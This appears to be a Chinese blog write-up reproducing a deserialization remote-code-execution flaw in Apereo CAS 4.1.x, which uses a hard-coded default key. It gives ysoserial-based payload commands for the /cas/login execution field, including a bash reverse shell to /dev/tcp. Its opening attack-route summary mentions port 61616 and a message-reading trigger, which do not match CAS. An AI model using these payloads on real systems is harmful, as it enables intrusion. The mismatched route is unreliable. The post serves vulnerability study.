Apereo CAS 4.1/4.x 反序列化RCE漏洞 漏洞复现

Apereo CAS 4.1反序列化RCE漏洞

by ADummy

0x00利用路线

​ 构造(可以使用ysoserial)可执行命令的序列化对象—>发送给目标61616端口—>访问web管理页面,读取消息,触发漏洞—>代码执行

0x01漏洞介绍

​ Apereo CAS是企业级单点登录系统。CAS试图通过Apache Commons Collections库对对象进行反序列化的过程中存在一个问题,该案例引起了RCE漏洞。Apereo Cas一般是用来做身份认证的,所以有一定的攻击面,漏洞的成因是因为key的默认硬编码,导致可以通过反序列化配合Gadget使用。

影响版本

Apereo CAS <= 4.1.7  之后的版本也可以,没看明白,变强了后补充

0x02漏洞复现

4.1.7之前的Apereo CAS的现成默认配置使用默认密钥changeit

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

我们可以尝试使用Apereo-CAS-Attack生成加密的ysoserial的序列化对象,然后,从的登录操作中拦截并修改http请求/cas/login,将有效负载放入execution的值中

payload:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -i >& /dev/tcp/your-ip/8888>&1"

登录页面
在这里插入图片描述
生成加密的序列化对象(JDK1.7会失败,我用的JDK1.8)
在这里插入图片描述
Burpsuite抓包,修改execution的值
在这里插入图片描述

发现 touch /tmp/success被执行
在这里插入图片描述

攻击机未接到shell(不知道什么问题)

0x03参考资料

https://nosec.org/home/detail/4131.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值